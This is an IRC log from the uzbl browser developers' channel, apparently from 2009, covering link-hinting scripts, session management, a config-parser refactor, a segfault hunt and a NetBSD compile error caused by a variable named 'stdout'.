10:11 < DuClare> Then, perhaps we could narrow the possibilities when letters are typed?  Only target links in which the letters appear..
10:11 < DuClare> Yeah
10:12 < DuClare> Another thing I want to see is the always-hint-mode, but that needs an user configurable hook which will be used to execute the script as soon as the page has loaded.
10:12 < DuClare> Dieterbe, Do we have the means to actually execute the scripts rather than just bind them to keys?
10:12 < jouz> Dieterbe: yes i have a whole bunch of scripts. if we support file-loading i can release a whole bunch of different behaviours in examples/scripts.
10:12 < Dieterbe> jouz: sweet
10:12 < DuClare> As in, a (shell) script sends javascript to be executed immediately
10:13 < jouz> DuClare: narrowing down the possibilities is very easy, i just didn't mixed it in with the letters+numbers solution
10:13 < Dieterbe> DuClare: no, not yet. we already have "handlers" like download/history/cookie handler etc. maybe we could make that a bit more generic
10:14 < DuClare> jouz, Can the javascript make a selection that can be pasted somewhere in X?  I'd like to yank urls that the hints point to
10:14 < Dieterbe> DuClare: i guess we need the ability for users to attach misc handlers to whichever events they want
10:14 < DuClare> jouz, Yup
10:15 < DuClare> Dieterbe, Yes, exactly.  And we need to give (shell) scripts the ability to send other commands (including a command that executes some js immediately).  Maybe it's already doable, IDK?  I haven't used the fifo or the socket..
10:15 < jouz> DuClare: i'm not sure, but i think i read somewhere that JS has access to the clipboard.
10:16 < Dieterbe> DuClare> jouz, Can the javascript make a selection that can be pasted somewhere in X?  I'd like to yank urls that the hints point to -> it's better to just bind a key to a script. scripts all get the uri (and some other values) as argument. in fact i started working on such a script in my experimental branch (see examples/script/yank.sh) but i want to make it more generic then only for uri's
10:16 < DuClare> Dieterbe, "The uri" is, if I understood, the current url you're viewing
10:16 < Dieterbe> DuClare: yeah you can write "script <js code here>" into the fifo/socket to execute it.  later we will support script_from_file
10:16 < Dieterbe> DuClare: correct
10:17 < DuClare> Dieterbe, What I was thinking of is yanking the url of a link without actually visiting it
10:18 < Dieterbe> DuClare: oops. my mistake
10:19 < DuClare> jouz, Okay, so we can implement always-hint-mode with a shellscript that stores the toggle flag and if the mode is enabled, sends the hint script via the fifo..  but not doable until we can let the user add custom handlers.
10:21 < jouz> DuClare: what do you mean exactly with always-hint-mode?
10:21 < Dieterbe> DuClare: even better. the user should be able to attach/deattach handlers at runtime.  no need to keep flags
10:24 < Dieterbe> hmm and then we make a script that you call like ./change-handler <handlername> <event> on/off/toggle
10:25  * jouz is away for a minute
10:29 < DuClare> jouz, Basically, when it's enabled, it'll automatically activate hints whenever a new page is loaded.  This means you don't have to press f every time.. helpful if you're navigating a lot
10:29 < DuClare> But, now that I think of it, there might be a little problem
10:31 < DuClare> The script needs an incremental command to work.. if the command line is erased and the script is then executed, there's no running incremental command and it won't just work.  Perhaps there should be a way for scripts to edit the command line :)  They could just write the hint command in it.
10:34 < DuClare> jouz, If there's something else I'd want to improve .. well, I'd add hints for forms
10:35 < DuClare> And as soon as the hints can yank, I'd add dedicated hint modes for yanking, pictures and yanking pictures. :)
10:38 < Dieterbe> hmm scripts writing to the command buffer, sure why not :P
10:40 < DuClare> It could be used for some sort of user macros as well :)
10:40 < jouz> DuClare: forms are on top on my list anyway :)
10:40 < DuClare> Ah, nice
10:41 < Dieterbe> now I know why firefox does everything in JS :P
10:48 < ruskie> lol
10:48  * ruskie is quite happy doing link following using a mouse ;)
10:48 < ruskie> infact one of the rare times I use a mouse
10:49 < ruskie> but nice to have a kb alt
10:59 < DuClare> Hmm... I like smallish fonts.  But decreasing the font size makes the hints *too* small.
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11:06 < DuClare> I can customize it for myself though..
11:28 < rob|_> morning.
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11:30  * rob| is still fighting with the generic data types
11:30 < Dieterbe> morning rob| 
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11:36 < rob|> http://pastebin.com/m529d0461  <- so, this is my basic idea
11:39 < rob|> we get the elements with:  void **p;  p = g_hash_table_lookup(hash, name);  call the correspondig function that in turn casts the **void to the correct datatype and derefences it
11:40 < rob|> this is nice, cause we can store dynamically allocated variables in the hash table
11:41 < rob|> and in the name to var array, too
11:50 < DuClare> Hm.  Do you have anything against switching to command mode automatically on page load?  Of course with the premise that always-insert-mode is not enabled
11:50 < DuClare> I keep getting confused as the insert mode remains active after load..
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11:51 < Dieterbe> rob|: looks good to me. but is there a specific reason to have the struct, as it's only purpose is to put all the elements in the hash table. why not just have a series of g_hash_table_insert directly, without the additional step of the struct?
11:52 < Dieterbe> DuClare: good idea. let's make that an option
11:52 < Dieterbe> DuClare: and enable it by default
11:52 < DuClare> Okay
11:54 < rob|> because i think it is way easier for fellow decelopers to just add a line into that array of struct than duplicating the code one more time
11:54 < rob|> it also looks much cleaner imo
11:57 < Dieterbe> i disagree :P imho it would be cleaner to just put several g_hash_table_insert statements. imho the struct make the code more complex/bloated
11:58 < rob|> so you consider one big function with lots of g_hash_table_inserts cleaner?
12:01 < Dieterbe> i wouldn't even put it in a function.  just where you put the struct now, i would put the list of g_hash_table_inserts
12:02 < Dieterbe> this function would only be called once right?
12:02 < Dieterbe> when intitiasing the internal variables, when starting the app
12:03 < rob|> yes
12:04 < Dieterbe> well then imo we shouldn't even write a function for it. at the point where we initialise the internal variables we should imho just put the g_hash_table_inserts
12:05 < DuClare> Uhm, looks like dealing with clipboard isn't all that easy
12:05 < Dieterbe> DuClare: xclip? ;)
12:06 < DuClare> Dieterbe, Within the browser
12:06 < DuClare> With javascript
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12:06 < DuClare> Dieterbe, I would've liked to create a script that goes to the url on clipboard.. but I'm not sure that's doable with js.
12:09 < Dieterbe> DuClare: echo 'uri' `xclip -o -selection 'clipboard'` > /<pipe> ?
12:09 < Dieterbe> why do you want this in JS?
12:15 < DuClare> Hm, I guess that works
12:17 < DuClare> Dieterbe, Umm, do we already have some method for setting defaults or should I just set the var before it reads the values from cfg file :|
12:20 < DuClare> Or should we just let the config handle it?
12:21 < DuClare> Oh, hm
12:21 < DuClare> Better idea. :)
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12:29 < DuClare> There.
13:01 < DuClare> K, got a working script for yanking & going to url from cb
13:01 < DuClare> Hmm.
13:04 < DuClare> Dieterbe, I don't suppose scripts can echo things to be displayed on the sb?
13:04 < DuClare> Hm, well, not that I really need it
13:05 < DuClare> Sure they can set the format, but they'd also have to reset it
13:05 < DuClare> :>
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13:13 < rob|> hmm, something with reading from stdin goes terribly wrong
13:13 < rob|> we seem to block somewhere
13:15 < DuClare> Mehm, what should I hack next..
13:19 < DuClare> http://hikari.serveftp.org/uzbl_hints4.png  How's that? :]
13:25 < rob|> quite tiny but nice looking ;)
13:26 < DuClare> They were smaller in jouz's version. :)
13:26 < DuClare> I actually like them small-ish.
13:45 < jouz> Yeah if you want to keep a little readability, you have to make compromises. Thanks to some awesome Webkit-rendering-candy-tricks, you could even rotate, sketch and skew them :D
13:46 < jouz> and more transparency if you like
13:52 < Dieterbe> DuClare: I _love_ your WM color theme
13:52 < Dieterbe> DuClare: what WM is that?
13:53 < jouz> http://imgur.com/22r.png
13:53 < Dieterbe>  DuClare> Dieterbe, I don't suppose scripts can echo things to be displayed on the sb? <-- use case?
13:54 < Dieterbe> rob|: yeah i know. told you it was buggy :) couldn't figure it out though
13:54 < Dieterbe> lol jouz 
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13:59 < DuClare> Dieterbe, xmonad
14:00 < rob|> Dieterbe: hmm, yeah. for some reason it only reads a single command for me
14:02 < Dieterbe> rob|: in my experience, it's the last command that did not work. so when i did 3 commands onle the 2 first worked. i also put sleeps between them. not sure if i tested witout sleeps
14:03 < Dieterbe> DuClare: so do you anything special? is that just a tabbed layout inside xmonad?
14:03 < DuClare> Yup, just a tabbed layout inside xmonad.
14:04 < rob|> hehe, i guess i found the problem
14:04 < rob|> control_stdin() must return a gboolean=TRUE value
14:07 < Dieterbe> oh.. what a stupid mistake :P
14:17 < Dieterbe> DuClare: you're not gonna delete your picture right? i'm gonna show it to some people :P
14:23 < DuClare> Dieterbe, I won't delete it anytime soon. :]
14:23 < DuClare> It'll load somewhat slow though as it's hosted at home
14:23 < DuClare> Btw
14:24 < DuClare> I have session management \o/
14:24 < DuClare> igglyb, ^^
14:24 < Dieterbe> DuClare: #define sesion management?
14:24 < Dieterbe> DuClare: btw, also you should update your config, the default statusbar colorsheme is something you will like more i think
14:24 < Dieterbe> DuClare: see statusbar theme from my experimental
14:24 < DuClare> Dieterbe, There's a binding that quits every instance and stores the url they were in.  Then there's a script I can use to launch an instance for each saved url
14:25 < Dieterbe> oh, like that
14:25 < igglyb> DuClare, ♥
14:25 < DuClare> igglyb, If you don't mind, I'll clean them up a little and add some comments.  Then I'll push everything to the experimental branch & my git
14:26 < DuClare> You'll need my experimental anyway for the new hints
14:26 < igglyb> woah, thanks
14:27 < DuClare> Dieterbe, If you pay attention, you'll notice I've customized the statusbar ;)
14:27 < DuClare> Anyway, you'll see my conf soon
14:27 < Dieterbe> DuClare: yeah but your colors do not fit with your xmonad theme at all :P the theme in my experimental is more darkish
14:28 < DuClare> Oh, that, yeah..
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14:29 < neldoreth> Dieterbe: is there a specific change in the config i have to do for your experimental git version?
14:32 < neldoreth> ah found my error, nevermind
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14:48 < DuClare> igglyb, and whoever else might be interested: http://github.com/DuClare/uzbl/commits/experimental
14:54 < DuClare> That could be easily extended to do named sessions
14:55 < DuClare> Add a command which takes the session's name, modify the session script to consider the name when choosing a file
14:55 < DuClare> I might actually do it later this evening
14:55 < DuClare> Gotta go to school soon
14:55 < DuClare> Don't have too much time now.
14:55 < DuClare> Dieterbe, ^
14:56 < Dieterbe> okay DuClare 
14:56 < Dieterbe> i was thinking about improving it anyway
14:56 < Dieterbe> (to also use uzbl names, and later tags)
14:59 < DuClare> I can probably do some of that as soon as I know the details :)
15:00 < Dieterbe> names are already implemented
15:00 < DuClare> Oh?
15:00 < Dieterbe> tags not yet, but rob| was considering merging both concepts into one
15:00 < Dieterbe> and i need to think more about that proposal :)
15:02 < DuClare> Okay, I'll do named sessions and uzbl names (whatever they are? explain later on) in the evening.  Now I've got two lessons to attend to
15:03 < rob|> ok, reading from stdin seems to work reably now, tokenizing the commands using regexes and accessing the void typed arguments, too
15:03 < DuClare> igglyb, For clarity: run session.sh launch to launch a session.  The binding W is for launching a new instance / window
15:03 < igglyb> okay
15:03 < DuClare> igglyb, :q quits and saves the session, while ZZ kills the instance as before
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15:23 < Dieterbe> @peak
15:23 < dev_null> Dieterbe: linopolus set a record of 42 people in #uzbl on May 11, 2009 at 03:19 PM CET. You'll need 2 more people to break the peak.
15:25 < Ogedei> b
15:25 < Ogedei> DuClare was spamming a screenshot of your project page in #xmonad
15:25 < Ogedei> made me curious
15:26 < Dieterbe> hi
15:27 < igglyb> DuClare, thanks again, it works fine :9
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15:37 < rob|> http://github.com/robm/uzbl/commit/06decd112822531e5c789f7438b909944cdf3039
15:38 < rob|> partially working command parser
15:38 < rob|> just to get you an idea
15:42 < Dieterbe> rob|: get_var_value(gchar *name) is just to do debugging?
15:43 < Dieterbe> set_var_value seems more useful
15:44 < rob|> yes for debugging and maybe later to access the values over the socket
15:45 < Dieterbe> right
15:45 < rob|> i used this file to test: http://pastebin.com/m853663a  - invoke as "uzbl < testfile"
15:46 < rob|> you could as well just start uzbl and type the commands into the terminal you started it from
15:47 < Dieterbe> ooh now i know what the get function is for :P
15:47 < Dieterbe> i must have looked over it earlier
15:49 < Dieterbe> this looks good btw. very good :)
15:49 < rob|> i tend to use crippled variable names, though ;)
15:51 < rob|> also, the hash should probably not only carry the var names and values but also the type
15:51 < rob|> as an anumeration probably
15:51 < rob|> T_INT, T_CHARP etc.
15:52 < rob|> otherwise you need to use strcmp to determine to which type to cast
15:53 < Dieterbe> yeah. that's not all that pretty :)
15:54 < rob|> well, stupid C - it does not support templates - at least this would be a desirable feature from C++
16:08 < cdarwin> http://omploader.org/vMW54ag
16:08 < cdarwin> my conreibution to the image spam :)
16:08 < cdarwin> err, contribution* even
16:10 < rob|> nice, though guys customize your statusbars! or is dieter's default look so nice that nobody wants to :p
16:11 < cdarwin> lol, ok but if I change it will be to black and white, you see my dwm theme ;]
16:13 < Dieterbe> looks nice
16:13 < Dieterbe> it's cool that you have a web app that is so small that you don't even see it's a webapp
16:13 < Dieterbe> i first thought it was a desktop app in gtk
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16:32 < eekee> Holas
16:32 < Dieterbe> hi
16:32 < eekee> how goes?
16:33 < Dieterbe> working ;)
16:33 < eekee> ah :)
16:34 < eekee> I just installed uzbl, looks useful. I'm always looking at anything component-ish
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16:39 < neldoreth> i've written a little load_url_from_bookmarks.sh script to use categories in the bookmark file (like in the sample bookmark file): http://pastie.org/private/kxufflbn9gvm3udgbhka - it could be improved (a lot due the reading of the file), but its just a fast written script
16:40 < eekee> btw what would you use to view the READMEs? Pre-wrapped is kinda anoying, but I've never used a pager that wraps text, & both fmt and fold generate somewhat hard to read output
16:41 < Dieterbe> eekee: where do you specify fmt and fold?
16:46 < eekee> fold -sw75 README |pa
16:46 < eekee> pa is an alias for less with options
16:47 < eekee> fmt was simpler: fmt README |pa
16:48 < eekee> I should try fmt -s
16:48 < Dieterbe> well, tbh i have never used fmt or fold until now
16:49 < Dieterbe> in fact, we haven't planned anything yet for viewing files other then html
16:49 < eekee> me either until quite recently, running linux on a PDA
16:49 < Dieterbe> What we could do, is forsee handlers for different content-types
16:49 < eekee> aye
16:50 < eekee> I think web browsers are not supposed to wrap plain text anyway. I was more lookign at reading uzbl's README files
16:50 < Dieterbe> ooh
16:50 < eekee> ^^;
16:51 < Dieterbe> i didn't pay much attention to formatting when writing the readme. in fact i need to review/refactor it
16:51 < eekee> fair enough
16:51 < Dieterbe> because i pretty much wrote the review in the very early beginning, when most stuff was not decided/implemented yet
16:51 < eekee> aha
16:51 < Dieterbe> s/review/readme/
16:51 < eekee> I could have a go at it if you like. Not re-writing, just reformatting
17:01 < Dieterbe> if you know C, you can spend your time better hacking on uzbl :P
17:01 < eekee> :)
17:02 < eekee> I might be able to do a few bits but I'm not all that good with C
17:03 < eekee> well, it all depends if I can find and understand the code to change. Sometimes I can, sometimes I can't
17:14 < neldoreth> "rob| : nice, though guys customize your statusbars!" here we go:  http://666kb.com/i/b8v8n069s41h6cbn1.png :P
17:16 < Dieterbe> oooh nice
17:17 < eekee> what's putting the numbers on the links?
17:17 < neldoreth> F
17:18 < neldoreth> but as far as i see it does not work on all sites, like http://orf.at
17:19 < rob|> added a BIND command: "BIND xy _ = uri %s", actually it works exactly as it does with the config file
17:20 < rob|> just one thing, if you add the binding more then once i guess it would be best to delete the old binding and overwrite it with the new one
17:20 < rob|> and not to error out
17:22 < Dieterbe> yeah indeed
17:28 < rob|> ok, will add that later.
17:31 < Dieterbe> same like if you do SET on the same variable multiple times
17:31 < Dieterbe> it should also just update the value
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17:44 < rob|> yep, for SET this happens implicitly
17:50 < Dieterbe> k
17:59 < eekee> eh, I formatted the readme man-page style. I'm more hyper than with it today, & formattign text is a nice mindless operation. Posted it on the tracker
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18:00 < zecrazytux> hi
18:00 < eekee> hallo
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18:12 < DuClare> Dieterbe, Uh, it struck me on my way home.. that if the names you mentioned are what I think they are, I can easily implement 1) named sessions 2) instance-specific storage in sessions (i.e. the history of each instance will be stored)
18:13  * DuClare is almost too excited to eat :x
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18:20 < DuClare> Dieterbe, I'll do this session thingy, then I'll add the callback & handler thingy for load_finished, use that for always-hint-mode, jouz makes the hints work with forms and you do.. something.. awmenu?  And what we get is a browser more usable than vimp (for me anyway) ;)
18:21 < jouz> DuClare: you dont need cookies???
18:24 < DuClare> Oh, sure, I can use them
18:24 < DuClare> But they're not particularly important
18:25 < DuClare> For me anyway. :)
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18:35 < rob|> http://github.com/robm/uzbl/commit/0131a31934ae5330ad2bee7db89ce642f158bf5e
18:36 < rob|> changing the status format, toggling status bar visibility and adding bindings (currently not overwriting) should work on the fly now
18:36 < rob|> feel free to add further actions/commands to the new parser
18:36 < rob|> on the fly == during run time
18:37 < DuClare> rob|, Why does it remove name?
18:38 < rob|> oh, yeah also see "examples/config/sampleconfig-pipe"
18:38 < DuClare> -    { "name",           (void *)&uzbl.state.instance_name   },
18:38 < DuClare> Looks nice
18:39 < DuClare> What does the GET actually do?  Print to stdout?
18:39 < rob|> currently, yes.
18:39 < rob|> it will write to the socket sometimes in the future, though
18:40 < DuClare> Yup
18:42 < rob|> the regexes are probably not perfect, please test them with valid and malformed input
18:44 < DuClare> Dieterbe, How should the names work? o_O  It's null despite specifying --name "fuu"
18:46 < rob|> which names?
18:46 < rob|> instance_names?
18:46 < DuClare> yep
18:46 < rob|> no, the name is the window id unless set to something
18:47 < DuClare> rob|, Application Options:
18:47 < DuClare>   -n, --name=NAME          Name of the current instance
18:47 < DuClare> How do you set it to something?
18:47 < rob|> uzbl -n something
18:47 < rob|> it should appear on your statusbar
18:48 < DuClare> Uhm, right, the long format doesn't work o_O
18:48 < DuClare> Does actually
18:49 < DuClare> What on earth is going on here
18:49 < rob|> hmm, really. the should appear as <name> in the title, too
18:49 < rob|> *the name
18:50 < DuClare> rob|, --name something works if I don't specify --config path.  If I specify --config path, --name something doesn't work but -n something does
18:51 < rob|> hmm, seems to be a issue with the GOptionEntry parser
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18:56 < oxmoz_> hello, just heard about uzbl, seems like a promising project :)
18:57 < Dieterbe> indeed
18:58 < jouz> Dieterbe: :D
18:58 < Dieterbe> what. i just agree with him :P
18:59 < DuClare> As do I :)
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19:02 < jouz> http://imgur.com/2beM.png :)
19:03 < Masca> jouz: wichs wm?
19:03 < jouz> dmw
19:03 < DuClare> Dieterbe, Okay, I'm not exactly sure what you intended to do with the names (given that they'll appear in the title o_O) but I'm going to use them for my advanced session manager nevertheless :>
19:04 < jouz> *dwm
19:04 < Masca> nice.
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19:05 < DuClare> rob|, Can we store arbitrary variables?
19:05 < DuClare> Via pipe
19:05 < Dieterbe> DuClare: names are basically ways to uniquely identify single uzbl instances. right ? rob| ? what was the use case again? predictability of socket/fifo files?  what i want on top of this is "tags": means to _group_ uzbl instances by giving them the same tag (work/personal).  not sure how/if we will combine these two concepts
19:06 < DuClare> Dieterbe, I figured I'd use tags for grouping in wm
19:06 < Dieterbe> DuClare: either way, the goal is that you can also configure the title bar like you can do the statusbar, except there's no markup of course
19:06 < Dieterbe> DuClare: yeah that's the use case
19:06 < DuClare> Ah, right
19:07 < DuClare> Dieterbe, As for the names & sessions, I'm going to start with a simple (automated) naming scheme like sessionname.instanceid.  That already is enough to be parsed by the session manager script.. but if somebody thinks that's no good, it can be changed of course
19:08 < DuClare> Dieterbe, I'm going to make a launcher/wrapper which automatically sets the session & id (and defaults to a session named 'default' or such).
19:08 < DuClare> And after I get to merge rob's stuff, it'll also be the one that'll pipe the config.. :0
19:08 < Dieterbe> DuClare: remember you cannot spawn new uzbl instances with a specific xorg window id. you can spawn instances with a specific name though. so don't save something like "uzbl <window id> url = http..."
19:09 < Dieterbe> DuClare: also, I think session name == uzbl tag
19:09 < DuClare> Dieterbe, That's up to the user, but the concept could work like that, yes
19:09 < Dieterbe> DuClare is almost too excited to eat :x <-- hey i've had that too :)
19:10 < DuClare> The window id is irrelevant, as long as there's a way for my wm to query for the names or something .. I haven't thought about that too much as of yet
19:11 < DuClare> The cool thing is that with the wrapper, we don't need any code to 1) execute additional stuff on startup  2) run external stuff after quitting. :)
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19:12 < github> uzbl: Dieter Plaetinck experimental SHA1-8e7c171
19:12 < github> clarify name
19:12 < github> http://bit.ly/6ud8x
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19:15 < jouz> @peak
19:15 < dev_null> jouz: github set a record of 44 people in #uzbl on May 12, 2009 at 05:12 PM CET. You'll need 2 more people to break the peak.
19:16 < Dieterbe> go github :P
19:18 < jouz> ^^
19:28 < rob|> Dieterbe: well the use case for the name is simple, be able to identify uzbl instances from outside uzbl. i use it with my super simple uri-launch script (http://rafb.net/p/TgHZhb62.html), that is invoked from urxv'r url launcher
19:28 < rob|> *urxvt's
19:29 < DuClare> Luckily we don't need to be strict about its use.. let people be creative with it. :)
19:29 < rob|> as i don't want to open new uzbl windows all over the place
19:30 < rob|> DuClare: sure, just teling why i wrote and what i use it for, cause dieter asked ;)
19:30 < DuClare> Yup
19:45 < zecrazytux> are you aware of https://linuxfr.org/~Enixos/28263.html ? great publicity :)
19:45 < Masca> do you have some mail-list?
19:45 < Masca> I'm not able to follow the channel. =(
19:46 < rob|> so one more shot  http://omploader.org/vMW55bQ  :)
19:47 < rob|> Masca: no ML yet
19:52 < Masca> So, irc is the best way to follow uzbl?
19:53 < rob|> no, the source code is by far the best way :P
19:55 < rob|> hmm, does translate.google.com work for you in uzbl? i get really strange effects there
19:57 < Masca> haha yea, the github's commit rss. ;-)
19:57 < rob|> hmm, same thing happens with ff
19:58 < rob|> let's blame google!
20:06 < rob|> what happened to anydot haven't read anything from him for quite a while
20:17 < DuClare> rob|, Are the handlers already settable via the pipe?
20:23 < Dieterbe> rob|> what happened to anydot haven't read anything from him for quite a while. <-- me neither. same for dusanx.
20:24 < Dieterbe>  zecrazytux> are you aware of https://linuxfr.org/~Enixos/28263.html ? -> nice. the guy who wrote it seems to have followed quite well. probably someone on this channel
20:25 < DuClare> Dieterbe, May the sections ([behavior], ...) appear multiple times in the config?
20:25 < DuClare> Oh, hm, m..
20:25 < DuClare> nm.
20:25 < Dieterbe> DuClare: no. but in fact this will become a moot point
20:25 < DuClare> Messy.
20:25 < Dieterbe> since we will not use the ini-style format anymore
20:25 < DuClare> Yup.
20:25 < DuClare> Yeah, I know
20:26 < DuClare> I was just wondering what to do now .. who merges and what?  I think I should perhaps merge rob's stuff and start using it now and write my session manager for it..
20:29 < Dieterbe> rob|: is your stuff usable? is it a more or less/almost on par with the previous config system?
20:41 < DuClare> Segfaults..
20:42 < DuClare> #0  0x00007ff31b975753 in *__GI___libc_free (mem=0x408fa8) at malloc.c:3614
20:42 < DuClare> #1  0x00000000004059b7 in set_var_value ()
20:42 < Dieterbe> DuClare: your stuff has nothing to do with the config refactoring stuff right? then i suggest you sync with my experimental
20:43 < Dieterbe> i merge in the config refactor stuff into experimental when it's more or less usable
20:43 < DuClare> Dieterbe, My stuff should get easier with this new config system
20:44 < DuClare> Well, depends on what design I go for
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20:46 < Dieterbe> hmm then i suggest you develop in your experimental branch and merge in my config-refactor stuff.  i will pull in robs config-refactor stuff into my config-refactor
20:47 < DuClare> Sounds good
20:47 < DuClare> Will you do it now?
20:48 < Dieterbe> yes
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20:57 < github> uzbl: Robert Manea config-refactor SHA1-06decd1
20:57 < github> first partially working command parser
20:57 < github> http://bit.ly/sWDoZ
20:57 < github> uzbl: Robert Manea config-refactor SHA1-474f7ff
20:57 < github> added BIND to cmd parser
20:57 < github> http://bit.ly/wNQlP
20:57 < github> uzbl: Robert Manea config-refactor SHA1-14cf19d
20:57 < github> catch errors in commands
20:57 < github> http://bit.ly/BwiTw
20:57 < github> uzbl: Robert Manea config-refactor SHA1-d14d86b
20:57 < github> more efficient error catching in commands
20:57 < github> http://bit.ly/6hEM2
20:57 < github> uzbl: Robert Manea config-refactor SHA1-0131a31
20:57 < github> further enhancements to the cmd parser, added sampleconfig-pipe
20:57 < github> http://bit.ly/17TEc5
20:57 < github> uzbl: Dieter Plaetinck config-refactor SHA1-361d670
20:57 < github> Merge commit 'rob/config-refactor' into config-refactor
20:57 < github> http://bit.ly/1aodpO
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20:57 < DuClare> Nice. :)
20:58 < DuClare> No need to ask when it's done.. github tells us. :)
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21:29 < DuClare> Dieterbe, Does ./uzbl < examples/configs/sampleconfig-pipe work for you? :x
21:35 < Dieterbe> (sleep 5; cat examples/configs/sampleconfig-pipe) | ./uzbl
21:35 < Dieterbe> that's how i tested it
21:35 < Dieterbe> could be that without the sleep it didn't work
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21:41 < zecrazytux> I'm having these errors when compiling:
21:41 < zecrazytux> uzbl.h:207: error: expected ')' before '&' token
21:41 < zecrazytux> uzbl.c:584: error: expected ')' before '&' token
21:41 < Dieterbe> compiling which branch?
21:41 < Dieterbe> and show the _complete_ output
21:42 < zecrazytux> hmm, git clone
21:42 < zecrazytux> I'm not familiar with git
21:42 < zecrazytux> I did not checkout a particular branch, git clone did for me
21:43 < zecrazytux> what's the default ?
21:43 < oxmoz_> so you compiled master
21:43 < oxmoz_> you can check that with git branch
21:44 < zecrazytux> ah yup
21:44 < zecrazytux> thanks
21:44 < zecrazytux> so this is not a known error
21:44 < oxmoz_> btw how are you zecrazytux
21:44 < zecrazytux> oh :) oxmoz_ :)
21:44 < oxmoz_> :)
21:45 < zecrazytux> I didn't realized
21:45 < oxmoz_> heh
21:45 < DuClare> zecrazytux, What's the latest commit?
21:45 < zecrazytux> fine, but I wish this year was finish already
21:45 < zecrazytux> oxmoz_: what about you ?
21:46 < oxmoz_> zecrazytux: I'm waiting my master's application results, that should available online tonight
21:46 < oxmoz_> be
21:46 < zecrazytux> DuClare:     disable cookie handler in master branch
21:47 < zecrazytux> great :)
21:47 < oxmoz_> so, fingers crossed
21:48 < zecrazytux> oxmoz_: are you contributing to uzbl ?
21:48 < oxmoz_> I heard about it today, actually, thanks to linux-fr, I will take a look at the code yes
21:49 < zecrazytux> :)
21:49 < oxmoz_> and I can, at least, package it for Debian when the project will get stable
21:49 < zecrazytux> are you a debian developper ?
21:49 < oxmoz_> maintainer for now
21:49 < zecrazytux> I'm gonna package it for NetBSD/pkgsrc
21:49 < oxmoz_> nice :)
21:49 < zecrazytux> well, -wip :)
21:50 < zecrazytux> but I'm still stucked with that strange error
21:50 < zecrazytux> I had a look on the code but didn't noticed anything wrong
21:50 < oxmoz_> what error
21:52 < DuClare> 22'41'33 < zecrazytux> uzbl.h:207: error: expected ')' before '&' token
21:52 < DuClare> 22'41'33 < zecrazytux> uzbl.c:584: error: expected ')' before '&' token
21:52 < zecrazytux> http://rafb.net/p/9BCtAa47.html
21:52 < oxmoz_> the latest git compiles fine with me
21:53 < DuClare> rob|, Am I the only one who gets segfaults with your status_format line in sampleconfig-pipe?
21:53 < Dieterbe> zecrazytux: is this the _complete_ output?
21:53 < zecrazytux> Dieterbe: yup
21:54 < DuClare> Just to be sure: how are you compiling it?
21:54 < Dieterbe> weird
21:54 < zecrazytux> Dieterbe: gmake, and flags are corrects
21:54 < zecrazytux> DuClare: *
21:54 < zecrazytux> pkg-config works
21:57 < zecrazytux> woot
21:58 < zecrazytux> I did find how a workaround
21:58 < zecrazytux> but that's dead weird
21:58 < DuClare> Tell us
21:59 < zecrazytux> looks like stdout is a "private" variable name on NetBSD
21:59 < zecrazytux> I replaced stdout by myout i nthe source code and it did compile !
22:00 < zecrazytux> /usr/include/stdio.h:#define    stdout  (&__sF[1])
22:00 < zecrazytux> :))
22:01 < zecrazytux> so please use another variable name in uzbl code :)
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22:21 < zecrazytux> It 'll take me some time to adapt to this software
22:21 < zecrazytux> but damn'!
22:21 < zecrazytux> that's awesome :)
22:22 < oxmoz_> :)
22:22 < zecrazytux> uzbl is to browsers what wmii is for WMs :)
22:23 < oxmoz_> no, you said it
22:23 < oxmoz_> [22:21-05/12] <zecrazytux> that's awesome :)
22:23 < oxmoz_> ;))
22:24 < zecrazytux> eheh
22:24 < Dieterbe> nah. awesome is not awesome
22:25 < oxmoz_> :(
22:25 < oxmoz_> why not
22:26 < Dieterbe> i find it too bloated
22:26 < Dieterbe> awesome is a desktop environment imho, not a WM
22:27 < oxmoz_> in what way is it bloated? because of the lua stuff?
22:29 < Dieterbe> because it ships stuff that does not belong in a lightweight WM. libraries, widget things, menus,..
22:29 < Dieterbe> but let's not get too offtopic
22:29 < oxmoz_> yes but nothing is actually needed
22:29 < oxmoz_> you can remove everything by commenting out or removing a few lines in the config file
22:30 < oxmoz_> because in terms of slocs
22:30 < oxmoz_> http://julien.danjou.info/blog/index.php/post/2009/04/29/awesome-is-bloated
22:30 < oxmoz_> awesome is not a desktop environment nor a tilling wm, it's just an API to draw your own wm, you can make it bloated with lua or not
22:32 < zecrazytux> Dieterbe: I agree, wmii kicks awesome's ass
22:32 < zecrazytux> Dieterbe: are you from the suckless group ?
22:32 < oxmoz_> well everyone uses what he wants, but that wrong that awesome's bloated
22:32 < zecrazytux> oxmoz_: I personnaly don't give a fuck :)
22:33 < zecrazytux> use what you want dude
22:33 < oxmoz_> yeah that's what I'm doing pal :)
22:34 < zecrazytux> well, there is right click on links
22:34 < zecrazytux> terrific
22:35 < zecrazytux> (for "copy link location")
22:35 < Dieterbe> DuClare was working on a "put link location in clipboard" thingie, keyboard based. eg no mouse
22:36 < zecrazytux> is there a mean to copy the link location by using something like 'F px' (x being the link number) ?
22:36 < zecrazytux> ah :)
22:37 < zecrazytux> Dieterbe: is there daily/weekly tarballs ?
22:38 < Dieterbe> no
22:38 < rob|> DuClare: segfaults? hmm, no i don't get any. how exactly are you invoking uzbl?
22:48 < DuClare> ./uzbl < examples/configs/sampleconfig-pipe
22:49 < DuClare> Dieterbe, I was only planning it.  I was hoping jouz could've implemented it along with the rest of the hint stuff, but as I stated, it looks like we can't use javascript to manipulate clipboard contents, and the hints are js...
22:49 < DuClare> Long story short: I'm at loss
22:49 < DuClare> Don't know how to solve that one.
22:50 < Dieterbe> k.  maybe there is a way to echo things in JS and catch the output in C
22:50 < Dieterbe> then you can update the clipboard from C
22:50 < DuClare> Perhaps.
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22:50 < github> uzbl: Dieter Plaetinck experimental SHA1-8379e62
22:50 < github> 2 bugfixes in cookie handler
22:50 < github> http://bit.ly/1ICTy
22:51 < DuClare> rob|, It's caused by the free in set_var_value
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22:51 < Dieterbe> anyway, i'm going to sleep
22:51 < Dieterbe> see you later guys. and thanks for the help :)
22:51 < DuClare> Sure.  Sleep well o/
23:07 < rob|> DuClare: hmm, could you recheck merging my latest push?
23:12 < rob|> ok, can reproduce the segfault now
23:14 < DuClare> Now? :o
23:14 < DuClare> What's the cause, why now
23:15 < DuClare> Adding if (*p) doesn't fix it, btw
23:18 < jouz> Hey guys, i made some general improvement to the linkfollowing script (including forms work great now). BUT: for example, entering a <input type='text' ...> element via linkfollowing should: a.) reset the cmd (like we now do on every page-load) and b.) enter the Insert mode.
23:19 < rob|> DuClare: yes, fixed now
23:20 < rob|> could you also check:
